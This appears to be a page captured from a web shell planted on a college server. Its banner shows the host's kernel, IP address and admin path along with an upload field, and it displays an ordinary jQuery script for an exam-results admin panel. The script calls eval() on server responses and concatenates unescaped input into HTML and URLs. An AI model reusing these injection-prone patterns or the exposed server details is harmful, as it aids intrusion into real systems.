0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.149.243.29


Current Path : /var/www/html/gcg/adm/admin/js/
Upload File :
Current File : /var/www/html/gcg/adm/admin/js/MainPage2.js

function loadResults() {
  $("#loadtab").load("html_modules/results.html?v=10032017", function() {
    var id = "";
    var dataString = "&id=" + id;

    $.ajax({
      type: "post",
      url: "src/results.php",
      data: dataString,
      success: function(response) {
        response = eval("(" + response + ")");

        var sem = response.sem;

        var opcat = "<option value=''>--SELECT--</option>";
        for (var i = 0; i < sem.length; i++) {
          var cat = sem[i];
          opcat +=
            "<option value='" +
            cat.fexamno +
            "'>" +
            cat.fexamname +
            "</option>";
        }
        $("#sem").append(opcat);
        var fregno = response.fregno;
        $("#regappno").val(fregno);
        //$('#regappno').val(folder);
      }
    });
  });
}

function loadiframeresults() {
  var iframeregno = $("#regappno").val();
  var sem = $("#sem").val();

  $("#loadtab").load("html_modules/results1.html?v=10032017", function() {
    var loc =
      "http://server/PHPSource/results/gcc/result.php?r=" +
      iframeregno +
      "&e=" +
      sem +
      "&ct=";
    document.getElementById("iresults").src = loc;
  });
}

function getSumAppDetails() {
  var parameters = "fromdeg=" + $("#fromdeg").val();
  parameters += "&todeg=" + $("#todeg").val();
  parameters += "&fromcoll=" + $("#fromcoll").val();
  parameters += "&tocoll=" + $("#tocoll").val();
  parameters += "&fromapp=" + $("#fromapp").val();
  parameters += "&toapp=" + $("#toapp").val();
  parameters += "&year=" + $("#year").val();
  parameters += "&rtype=" + $("#rtype").val();
  parameters += "&combcode=" + $("#combcode").val();

  window.location.href = "sumexeclreport.php?" + parameters;
}